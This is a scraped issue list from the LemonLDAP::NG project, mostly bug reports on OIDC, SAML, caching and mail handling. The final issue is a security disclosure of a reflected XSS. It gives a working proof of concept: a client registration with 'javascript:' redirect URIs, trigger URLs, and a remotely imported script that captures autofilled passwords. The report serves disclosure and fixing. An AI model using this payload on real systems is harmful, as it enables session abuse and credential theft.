lemonldap-ng issueshttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues2020-04-23T11:19:50Zhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2169duplicates in _oidcConsents when scope is updated2020-04-23T11:19:50ZMaxime Bessonduplicates in _oidcConsents when scope is updated### Concerned version
Version: 2.0.7
### Summary
* Configure LLNG as OIDC provider
* Configure a RP
* Log in to the RP with scopes "openid email"
* Consent to "openid email" scope
Result in psession:
```
[
{
"epoch": 15875752...### Concerned version
Version: 2.0.7
### Summary
* Configure LLNG as OIDC provider
* Configure a RP
* Log in to the RP with scopes "openid email"
* Consent to "openid email" scope
Result in psession:
```
[
{
"epoch": 1587575234,
"scope": "openid email",
"rp": "rp-example"
}
]
```
* Login to the RP with scopes "openid email profile"
* Consent to the extended scope
Result in psession:
```
[
{
"epoch": 1587576168,
"rp": "rp-example",
"scope": "openid email profile"
},
{
"epoch": 1587576168,
"rp": "rp-example",
"scope": "openid email profile"
}
]
```
This is the root cause of consents growing out of control in #15992.0.8Maxime BessonMaxime Besson2020-04-24https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2168LLNG is too strict on OIDC scope syntax2020-04-23T13:18:12ZMaxime BessonLLNG is too strict on OIDC scope syntax### Concerned version
Version: 2.0.7
### Summary
```
# Check scope validity
unless ( $oidc_request->{'scope'} =~ /^[a-zA-Z_\-\s]+$/ ) {
$self->logger->error( "Submitted scope is not valid: "
...### Concerned version
Version: 2.0.7
### Summary
```
# Check scope validity
unless ( $oidc_request->{'scope'} =~ /^[a-zA-Z_\-\s]+$/ ) {
$self->logger->error( "Submitted scope is not valid: "
. $oidc_request->{'scope'} );
return PE_ERROR;
}
```
This check is too strict. OAuth2 defines the scope syntax as:
```
scope = scope-token *( SP scope-token )
scope-token = 1*( %x21 / %x23-5B / %x5D-7E )
```
See https://tools.ietf.org/html/rfc6749#section-3.3
We must find a way to allow scopes with all these characters , and take care about not recreating #15992.0.8Maxime BessonMaxime Besson2020-04-24https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2167OAuth2 handler should return 401 when access token is missing or invalid2020-05-04T13:57:21ZMaxime BessonOAuth2 handler should return 401 when access token is missing or invalidsee https://tools.ietf.org/html/rfc6750#section-3
The current behavior is to redirect to the portalsee https://tools.ietf.org/html/rfc6750#section-3
The current behavior is to redirect to the portal2.0.8Maxime BessonMaxime Besson2020-04-24https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2854Confusing error message when trying to verify webauthn credential while there...2023-01-23T14:15:31ZMaxime BessonConfusing error message when trying to verify webauthn credential while there is no available credential### Concerned version
Version: 2.0.15
### Summary
* Enable webauthn2f
* Browse to 2FA manager
* Click 'verify' button
A confusing error message is displayed
![image](/uploads/c2451e73bf10569ef8c257abb380659e/image.png)
### Logs
`...### Concerned version
Version: 2.0.15
### Summary
* Enable webauthn2f
* Browse to 2FA manager
* Click 'verify' button
A confusing error message is displayed
![image](/uploads/c2451e73bf10569ef8c257abb380659e/image.png)
### Logs
```
{"error":"webauthn2f: no registered device"}
```
### Possible fixes
Return a translatable error code instead of a message2.0.16Maxime BessonMaxime Besson2023-01-23https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3121LLNG should not fail when local cache is broken2024-03-27T09:08:38ZYaddLLNG should not fail when local cache is broken2.19.0YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3119Inconsistent logs when using "faketicket" CAS access policy2024-03-08T15:03:36ZMaxime BessonInconsistent logs when using "faketicket" CAS access policy### Affected version
Version: 2.18.2
### Summary
* Configure CAS Access control policy = Fake ticket
* Set an access rule for a CAS service
### Logs
When accessing with an unauthorized user:
```
[warn] User dwho is not authorized t...### Affected version
Version: 2.18.2
### Summary
* Configure CAS Access control policy = Fake ticket
* Set an access rule for a CAS service
### Logs
When accessing with an unauthorized user:
```
[warn] User dwho is not authorized to access to testcasapp
[notice] User dwho is authorized to access to testcasapp
```
Logs are contradictory2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3112Configuration override from lemonldap-ng.ini can be lost due to cache issues2024-03-27T09:41:40ZMaxime BessonConfiguration override from lemonldap-ng.ini can be lost due to cache issues### Affected version
Version: 2.18.2
### Summary
This bug is easier to reproduce with a separate handler and portal, but happens with all configurations
* Configure a remote handler with globalStorage=REST
* Access the handler a few ...### Affected version
Version: 2.18.2
### Summary
This bug is easier to reproduce with a separate handler and portal, but happens with all configurations
* Configure a remote handler with globalStorage=REST
* Access the handler a few times => overrides are applied
* Save a new configuration on the portal, without triggering a configuration reload (reloadUrls) on the remote handler
* On the remote handler, wait for configuration cache to expire
* On the remote handler, run purgeCentralCache/purgeLocalCache (! AS WWW-DATA/APACHE! )
* Access the remote handler again => globalStorage is lost
### Logs
Before cache expiration:
```
[debug] Check configuration for Lemonldap::NG::Handler::Server::Main
[debug] Get configuration from cache without verification.
```
cache content:
```
globalStorage='Lemonldap::NG::Common::Apache::Session::REST'
```
Cache contains conf from DB + INI overrides
Publish a new version, wait for cache to expire, run purgeCentralCache (as www-data)
cache content:
```
globalStorage='Apache::Session::File'
```
Cache contains conf from DB without overrides
Try to access the handler
```
[debug] Check configuration for Lemonldap::NG::Handler::Server::Main
[debug] Get configuration from cache without verification.
[debug] Get configuration 448 aged 1709392350
[info] Loading configuration 448 for process 77060
```
Configuration is loaded from (incorrect) cache, new version is found, and Handler is reloaded from this new version that doesn't have INI overrides
Later:
```
[info] Session cannot be tied: unexistant session xxx at /usr/share/perl5/Apache/Session/Store/File.pm
```
### Possible fixes
This is a subtle bug but I have hit many different versions of it over the years:
* checkTime being reset from 1 to default of 600
* globalStorage being randomly lost on remote handler
* etc
This bug comes from the fact that Common::Conf stores INI overrides in the config cache. IMO this is a bad idea. The cache, which is shared by *all* LLNG processes on the machine, should only contain DB conf, and overrides should be applied on top of it.
This behavior also means that it's also impossible to have a config override be different for two components, such as:
```
[portal]
globalStorage=Apache::Session::File
[handler]
globalStorage=Lemonldap::NG::Common::Apache::Session::REST
```2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3107Manager diff viewer doesn't work when adding new macro named "groups"2024-03-27T09:44:46ZMaxime BessonManager diff viewer doesn't work when adding new macro named "groups"### Affected version
Version: 2.18.2
### Summary
* Edit configuration to add a new macro named "groups", any value
* Try to view configuration diff with previous version
* "Error: undefined"
It also happens on any configuration scree...### Affected version
Version: 2.18.2
### Summary
* Edit configuration to add a new macro named "groups", any value
* Try to view configuration diff with previous version
* "Error: undefined"
It also happens on any configuration screen that lets you enter key/value maps (exported variables, etc)
It also happens if you use "macros" as the key, and possibly other keys that match top-level configuration keys
### Logs
```
FastCGI sent in stderr: "Can't use string (""somevalue"") as a HASH ref while "strict refs" in use at /usr/share/perl5/Lemonldap/NG/Manager/Conf/Diff.pm line 93
```2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3105SAML cannot set custom signature scheme when used in Choice2024-02-19T13:24:27ZMaxime BessonSAML cannot set custom signature scheme when used in Choice### Affected version
Version: 2.18.2
### Summary
* Configure Auth::Choice
* One choice: SAML
* Add an IDP
* Set custom signature method (RSA_SHA1 or other)
* Try to login on IDP: all other settings (nameID policy, etc) are ignored
#...### Affected version
Version: 2.18.2
### Summary
* Configure Auth::Choice
* One choice: SAML
* Add an IDP
* Set custom signature method (RSA_SHA1 or other)
* Try to login on IDP: all other settings (nameID policy, etc) are ignored
### Logs
```
filename_or_buffer cannot be undef at /home/maxbes/src/lemonldap-ng/lemonldap-ng-portal/blib/lib/Lemonldap/NG/Portal/Lib/SAML.pm line 3435
```
### Possible fixes
For some extremely weird reason, the fact that `$self->conf` is a tied hash when Choice is in used interferes with the Lasso binding, which sees the key and certificate strings as empty even if they are not empty2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3104Incorrect initialization of SAML IDP causes IDP to fallback to default settings2024-03-27T08:25:53ZMaxime BessonIncorrect initialization of SAML IDP causes IDP to fallback to default settingsWhen initializing a SAML IDP in Auth::SAML, if some step goes wrong (impossible to set signature policy, or bad rule), the IDP is still useable but no defaults are set
We need to make sure the IDP is correctly loaded before enabling it,...When initializing a SAML IDP in Auth::SAML, if some step goes wrong (impossible to set signature policy, or bad rule), the IDP is still useable but no defaults are set
We need to make sure the IDP is correctly loaded before enabling it, and report an error if it isn't the case2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3098[security:low] PKCE is not enforced when requested by RP but not required by OP2024-02-12T02:44:25ZMaxime Besson[security:low] PKCE is not enforced when requested by RP but not required by OP### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC RP in LemonLDAP but don't require PKCE on it
* Use a PKCE flow to login to the RP, with a valid verifier => WORKS :white_check_mark:
* Use a PKCE flow to login to t...### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC RP in LemonLDAP but don't require PKCE on it
* Use a PKCE flow to login to the RP, with a valid verifier => WORKS :white_check_mark:
* Use a PKCE flow to login to the RP, with a non-valid verifier => ALSO WORKS :thinking:
PKCE is a mechanism that protect the authorization code from being stolen by another application. LemonLDAP implements PKCE as an optional security mechanism.
As per https://datatracker.ietf.org/doc/html/rfc7636#section-4.4
> When the server issues the authorization code in the authorization
> response, it MUST associate the "code_challenge" and
> "code_challenge_method" values with the authorization code so it can
> be verified later.
In my understanding, this means that when the RP triggers PKCE, the OP MUST enforce it during the token request, which is not the case now.
Current behavior is:
* Require PKCE enabled: PKCE is required at authorization time in all cases + enforced at token request time
* Require PKCE disabled: PKCE not required at authorization time + not enforced at token request time
In my opinion, the behaviour should be:
* Require PKCE enabled: same as above
* Require PKCE disabled: PKCE not required at authorization time + *but enforced at token request time* if the application used it
Do you agree @guimard @clement_oudot ?2.18.2Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3093mails not delivered since 2.18 due to invalid "to:" format2024-02-06T09:16:32Zdcoutadeur dcoutadeurmails not delivered since 2.18 due to invalid "to:" format### Affected version
Version: %2.18.1
Platform: Nginx
### Summary
When llng sends a password reset mail, the mail is not reveived due to an invalid "to:" field.
For example:
```
To: david.coutadeur@worteks.com <david.coutadeur@wort...### Affected version
Version: %2.18.1
Platform: Nginx
### Summary
When llng sends a password reset mail, the mail is not reveived due to an invalid "to:" field.
For example:
```
To: david.coutadeur@worteks.com <david.coutadeur@worteks.com>
```
When received by smtp.office365.com, this mail is displayed as:
```
To: david.coutadeur@
BCC: <david.coutadeur@worteks.com>
```
Consequence: the mail *is* received by the user, because of the BCC field (I don't know how this field is added though), but the admin also receives a "non-delivery" mail.
### Logs
```
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.509 (Entity 5.509)
From: admin@customer.org
To: david.coutadeur@worteks.com <david.coutadeur@worteks.com>
Subject: =?utf-8?B?W0N1c3RvbWVyXSBSw6lpbml0aWFsaXNhdGlvbiBkZSBtb3QgZGUgcGFzc2U=?=
Date: Thu, 25 Jan 2024 14:45:22 +0000
Bonjour David Coutadeur,
Cliquez ici pour réinitialiser votre mot de passe :
https://auth.demo.fusioniam.org/resetpwd?mail_token=9683247caf1aaaf29051a7ff0d8157b3559d60743f8e83429c3496b60c8daa64&skin=bootstrap
Pour tout problème d’authentification merci d’écrire à admin@customer.org';
```
### Possible fixes
The problem seems to be linked to: https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2990 and especially https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/commit/962effa8bfbe200c7b1555f60af9cbc1ad4f4be2
According to the this RFC: https://datatracker.ietf.org/doc/html/rfc822#section-3.1.1 the following syntax should be used:
```
To: "david.coutadeur@worteks.com" <david.coutadeur@worteks.com>
```
If you are ok @guimard, I propose to patch this into:
```perl
if ($mail =~ /^\S+\@\S+$/) {
$mail = "\"$mail\" <$mail>";
}
```2.18.2dcoutadeur dcoutadeurdcoutadeur dcoutadeurhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3087RefreshSession plugin creates group duplicates when multiple sessions are used2024-03-26T12:28:10ZMaxime BessonRefreshSession plugin creates group duplicates when multiple sessions are used### Affected version
Version: 2.18.1
### Summary
* Enable refresh session plugin
* Login as dwho twice
* Refresh sessions for dwho with the plugin
* Groups are duplicated in $groups
### Logs
```
Store users; timelords; users; timelo...### Affected version
Version: 2.18.1
### Summary
* Enable refresh session plugin
* Login as dwho twice
* Refresh sessions for dwho with the plugin
* Groups are duplicated in $groups
### Logs
```
Store users; timelords; users; timelords in session key groups
```2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3084JWT shouldn't have a "kid" when using symetric sign algorithm2024-01-17T09:54:11ZJérémie PiersonJWT shouldn't have a "kid" when using symetric sign algorithm### Affected version
Version: 2.18.1
Platform: Nginx
### Summary
When using HS256 (or 384 | 512) as ID Token signature algorithm in an OpenIDConnect Relying Party, a "kid" property is added even though no asymetric key will be used. ...### Affected version
Version: 2.18.1
Platform: Nginx
### Summary
When using HS256 (or 384 | 512) as ID Token signature algorithm in an OpenIDConnect Relying Party, a "kid" property is added even though no asymetric key will be used. This confuses Apache mod-auth-openidc (latest version in Debian), who fails to verify signature and rejects the token.
Note : this manifests only because we do have RSA signing keys with a "kid" configured in OpenID Connect Service.
### Possible fixes
I tried to remove the following three lines in Portal/Lib/OpenIDConnect.pm :
```
--- Portal/Lib/OpenIDConnect.pm.ori 2024-01-15 14:56:20.675925536 +0100
+++ Portal/Lib/OpenIDConnect.pm 2024-01-15 14:52:27.247075049 +0100
@@ -2267,9 +2267,6 @@
encode_jwt(
payload => to_json($payload),
alg => $alg,
- extra_headers => {
- kid => $self->conf->{oidcServiceKeyIdSig},
- },
@keyArg,
);
};
```
and it does seem to fix this problem (tested only with HS256 and RS256).
May be related to commit 7a407da7d8cb642fd5b5ec24fa35d5c38aab5e24 ; seems like a previous issue #3066 was fixed two times in parallel :-)2.18.2Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3081oidcDropCspHeaders shouldn't drop CORS headers2024-01-17T09:51:29ZYaddoidcDropCspHeaders shouldn't drop CORS headersWhen using this option, if relying party is inside web app, Chromium refuse to download OIDC metadata because of lack of CORS headers
Fixed by !432When using this option, if relying party is inside web app, Chromium refuse to download OIDC metadata because of lack of CORS headers
Fixed by !4322.18.2YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3079UserDB::OpenIDConnect doesn't handle arrays of values2024-01-17T08:26:28ZMaxime BessonUserDB::OpenIDConnect doesn't handle arrays of values### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC OP to send multi valued claims
* Configure that claim as an exported attribute in LLNG
* Exported attribute is stored as an arrayref
### Logs
```
[debug] Store ARR...### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC OP to send multi valued claims
* Configure that claim as an exported attribute in LLNG
* Exported attribute is stored as an arrayref
### Logs
```
[debug] Store ARRAY(0x6390dd0) in session key groups
```2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3077Handling of groups from an OIDC provider2024-03-27T09:14:16ZDaniel BerteaudHandling of groups from an OIDC provider### Affected version
Version: 2.18.1
Platform: nginx+uwsgi
### Summary
When using an OIDC provider as Auth + UserDB, I couldn't get groups to work. In my case, the OIDC provider is also a Lemonldap::NG instance. I've configured a "gr...### Affected version
Version: 2.18.1
Platform: nginx+uwsgi
### Summary
When using an OIDC provider as Auth + UserDB, I couldn't get groups to work. In my case, the OIDC provider is also a Lemonldap::NG instance. I've configured a "groups" claim containing a list of groups on the provider. This claim is correctly sent in the UserInfo endpoint. The "salve" Lemonldap::NG instance sees it, but just set the groups session keys as a stringified version of the array of groups. $hGroups remains empty, and groups are not usable.
### Logs
```
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Request User Info on https://primary.local/oauth2/userinfo with access token XXXXXXX
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] UserInfo received: {"mail":"dani@local","cn":"Daniel Berteaud","groups":["Role_Unix","Role_Dev","Role_DB_Viewer","Administrators","Role_DB_Admin","Role_GED","Role_Mail","Role_Support_Admin","Role_PKI_User","Role_Infra_Admin","Denied RODC Password Replication Group","Domain Admins","Role_Vault","Role_Visio","Role_VPN","Role_FW_Admin","Role_Audit","Equipe","Role_Seafile","Role_PKI_Admin","Role_Monitoring","IT","Role_Support_User","Role_Virt","Role_CT_Admin","Role_Matrix"],"principal":"dani@local","uid":"dani","sub":"dani"}
[...]
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store 1704448287 in session key _lastAuthnUTime
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store HASH(0x65f8a60) in session key _loginHistory
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Dump: $VAR1 = {'successLogin' => [{'ipAddr' => '10.99.20.2','_utime' => '1704448211'},{'ipAddr' => '10.99.20.2','_utime' => '1704448149'},{'ipAddr' => '10.99.20.2','error' => -4,'_utime' => '1704443859'},{'ipAddr' => '10.99.20.2','_utime' => '1704443859'},{'_utime' => '1704443073','error' => -4,'ipAddr' => '10.99.20.2'},{'ipAddr' => '10.99.20.2','_utime' => '1704443073'},{'_utime' => '1704442587','ipAddr' => '10.99.20.2','error' => -4},{'ipAddr' => '10.99.20.2','_utime' => '1704442587'},{'ipAddr' => '10.99.20.2','_utime' => '1704378084'},{'ipAddr' => '10.99.20.2','_utime' => '1704377346'}],'failedLogin' => []};
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store ARRAY(0x6390dd0) in session key groups
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Dump: $VAR1 = ['Role_Unix','Role_Dev','Role_DB_Viewer','Administrators','Role_DB_Admin','Role_GED','Role_Mail','Role_Support_Admin','Role_PKI_User','Role_Infra_Admin','Denied RODC Password Replication Group','Domain Admins','Role_Vault','Role_Visio','Role_VPN','Role_FW_Admin','Role_Audit','Equipe','Role_Seafile','Role_PKI_Admin','Role_Monitoring','IT','Role_Support_User','Role_Virt','Role_CT_Admin','Role_Matrix'];
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store 20240105105011 in session key _updateTime
2024-01-05 10:51:27 [ERROR] [lemonldap] [Fri Jan 5 10:51:27 2024] [LLNG:40] [debug] Store dani in session key _user
```
Screenshot of the resulting session on the slave Lemonldap::NG
![image](/uploads/fc6bddce1c364b8c0ab943920f603df4/image.png)
### Backends used
Primary (OIDC RP) Lemonldap::NG is running
- On almalinux 8
- With nginx (OpenResty) + llng-fastcgi-server
- Using AD (samba4) as AuthDB and UserDB
- Using MariaDB as configuration and session store
Slave Lemonldap::NG is running
- On almalinux 9 (Docker based on almalinux9)
- With nginx + uwsgi
- Using OIDC as AuthDB and Same as UserDB
- An OIDC provider has been configured pointing at the primary LL::NG portal2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3076RefreshSession plugin doesn't work with choice2024-03-26T12:29:14ZMaxime BessonRefreshSession plugin doesn't work with choice### Affected version
Version: 2.18.1
### Summary
* Configure Auth::Choice
* Enable RefreshSession plugin
* Login
* refresh using the /refreshsession API
* it fails because _choice isn't set
### Logs
```
[debug] Start routing refres...### Affected version
Version: 2.18.1
### Summary
* Configure Auth::Choice
* Enable RefreshSession plugin
* Login
* refresh using the /refreshsession API
* it fails because _choice isn't set
### Logs
```
[debug] Start routing refreshsessions
[notice] Refresh request for abarnes
[debug] [notice] Refresh request for abarnes
[debug] Processing getUser
[debug] Returned error: 9 (PE_FIRSTACCESS)
[warn] Refresh failed for session 1b4228c3aea6021e271c7ce7c8acccec663ac91f5c00dd02f9379e3b53495e5d
```
### Possible fixes
populate userData in $req with all sessions attribute (including _choice) before calling the portal refresh function:
```
diff --git a/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm b/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm
index 6334b4508..8fd6935f4 100644
--- a/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm
+++ b/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Refresh.pm
@@ -36,6 +36,7 @@ sub run {
);
$req->id($id);
$req->user( $info->{uid} );
+ $req->userData( $sessions->{$id} );
my $res;
eval { $res = $self->p->refresh($req); };
if ($@) {
```
does it look ok for you @guimard ?2.19.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3072Authen WebAuthn package not available on CentOS 72023-12-22T23:22:15ZClément OUDOTAuthen WebAuthn package not available on CentOS 7When installing 2.18 on Cent07:
```
Résolution des dépendances
--> Lancement de la transaction de test
---> Le paquet lemonldap-ng.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng.noarch 0:2.18.0-1.el7 sera utilisé
---> ...When installing 2.18 on Cent07:
```
Résolution des dépendances
--> Lancement de la transaction de test
---> Le paquet lemonldap-ng.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-conf.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-conf.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-doc.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-doc.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-fastcgi-server.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-fastcgi-server.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-handler.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-handler.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-manager.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-manager.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-nginx.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-nginx.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-portal.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-portal.noarch 0:2.18.0-1.el7 sera utilisé
--> Traitement de la dépendance : perl(Authen::WebAuthn) pour le paquet : lemonldap-ng-portal-2.18.0-1.el7.noarch
---> Le paquet lemonldap-ng-selinux.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-selinux.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-test.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-test.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet lemonldap-ng-uwsgi-app.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet lemonldap-ng-uwsgi-app.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet perl-Lemonldap-NG-Common.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet perl-Lemonldap-NG-Common.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet perl-Lemonldap-NG-Handler.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet perl-Lemonldap-NG-Handler.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet perl-Lemonldap-NG-Manager.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet perl-Lemonldap-NG-Manager.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet perl-Lemonldap-NG-Portal.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet perl-Lemonldap-NG-Portal.noarch 0:2.18.0-1.el7 sera utilisé
---> Le paquet perl-Lemonldap-NG-SSOaaS-Apache-Client.noarch 0:2.17.2-1.el7 sera mis à jour
---> Le paquet perl-Lemonldap-NG-SSOaaS-Apache-Client.noarch 0:2.18.0-1.el7 sera utilisé
--> Résolution des dépendances terminée
Erreur : Paquet : lemonldap-ng-portal-2.18.0-1.el7.noarch (lemonldap-ng)
Requiert : perl(Authen::WebAuthn)
Vous pouvez essayer d'utiliser --skip-broken pour contourner le problème
Vous pouvez essayer d'exécuter : rpm -Va --nofiles --nodigest
```
We should remove Authen::WebAuthn form requires for EL72.18.1https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3070[Security:low] XSS via JavaScript-URI as Redirect URI and form_post Response ...2024-02-12T02:44:25ZLauritz Holtmann[Security:low] XSS via JavaScript-URI as Redirect URI and form_post Response Mode*LEMONLDAP::NG* is vulnerable to a reflected Cross-Site Scripting vulnerability via JavaScript-URIs in OpenID Connect flows with `response_mode=form_post`.
## Steps to Reproduce
Preparation:
1. Enable Public Registration via http://mana...*LEMONLDAP::NG* is vulnerable to a reflected Cross-Site Scripting vulnerability via JavaScript-URIs in OpenID Connect flows with `response_mode=form_post`.
## Steps to Reproduce
Preparation:
1. Enable Public Registration via http://manager.example.com/ -> OpenID Connect Service -> Dynamic Registration (alternatively register a client via UI in the following).
2. Enable to drop CSP on Auth. Responses via http://manager.example.com/ -> OpenID Connect Service -> Security -> Drop CSP headers from OIDC responses (otherwise XSS would be blocked by browsers that support CSP directives).
Then perform the actual attack:
1. Register new Client using OIDC Dynamic Client registration:
```http
POST /oauth2/register HTTP/1.1
Host: auth.example.com
Content-Type: application/json
Content-Length: 140
{
"redirect_uris":["javascript:confirm(document.domain)","javascript:import('https://xss.lhq.at/password-disclosure.js')"]
}
```
2. Trigger XSS via `http://auth.example.com/oauth2/authorize?client_id=yCbq4Y6VZONzcrGdwVLaNgnG0Am81Q&response_type=code&response_mode=form_post&scope=openid&redirect_uri=javascript:confirm(document.domain)` (Adjust client_id)
## Impact
As shown above, JavaScript is evaluated in the conext of `http://auth.example.com/`, allowing to perform arbitrary actions on behalf of an end-user and in their session.
Further, end-user credentials can be obtained in case a victim uses a password manager that auto-fills login forms. In the following, we assume the victim uses a current Firefox.
JS-Exploit-Payload: https://xss.lhq.at/password-disclosure.js
```JavaScript
window.attackUsernameField = document.createElement("input");
window.attackPasswordField = document.createElement("input");
attackUsernameField.type = 'text';
attackUsernameField.name = 'username';
attackPasswordField.type = 'password';
attackPasswordField.autocomplete = 'current-password';
attackPasswordField.addEventListener("change",()=>{alert(`Username: ${attackUsernameField.value}\nPassword: ${attackPasswordField.value}`)});
document.body.appendChild(attackUsernameField);
document.body.appendChild(attackPasswordField);
```
Note that FF only auto-fills credentials in secure contexts (HTTPS), so that testing this may require additional configuration.
To test password disclosure, use current Firefox and:
1. Browse `https://auth.example.com/` and enter exemplary invalid credentials. Opt-in to store credentials in your browser!
2. Browse `https://auth.example.com/oauth2/authorize?client_id=lhibBNkkd4w8hPLPxjehY8fAT2MD/L&response_type=code&response_mode=form_post&scope=openid&redirect_uri=javascript:import(%27https://xss.lhq.at/password-disclosure.js%27)` and observe `alert()` with clear text credentials.
The impact is limited by a Content-Security-Policy directive which was enabled by default in my test setup. There is a specific option to disable this setting and there are still browsers out-there and in use that do not support CSP directives.
## Recommendation
It is recommended to do not allow dangerous schemes such as `javascript`, `data` or `vbscript` as allowed Redirect URIs.2.18.2YaddYadd